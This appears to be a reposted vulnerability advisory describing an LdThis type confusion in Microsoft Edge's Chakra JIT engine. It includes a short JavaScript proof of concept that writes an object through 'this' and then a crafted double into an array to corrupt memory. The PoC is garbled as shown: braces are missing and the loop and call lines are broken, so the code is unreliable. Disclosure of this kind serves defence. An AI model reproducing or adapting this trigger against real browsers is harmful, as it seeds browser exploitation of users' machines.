Microsoft Edge Chakra JIT LdThis Type Confusion

Microsoft Edge Chakra JIT suffers from an LdThis type confusion vulnerability.

MD5 | 24f96c408071fcd626fc4ff4726c8d8d

Microsoft Edge: Chakra: JIT: LdThis type confusion 


LdThis instructions' value type is assumed to be "Object". Since "this" can be other objects like an array, it has to be assumed to be "LikelyObject", otherwise, operations to "this" will not be checked properly.

function opt(arr) {
arr[0] = 1.1;
this[0] = {};
arr[0] = 2.3023e-320;

function main() {
let arr = [1.1];
for (let i = 0; i < 10000; i++) {{}, arr);
}, arr);


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

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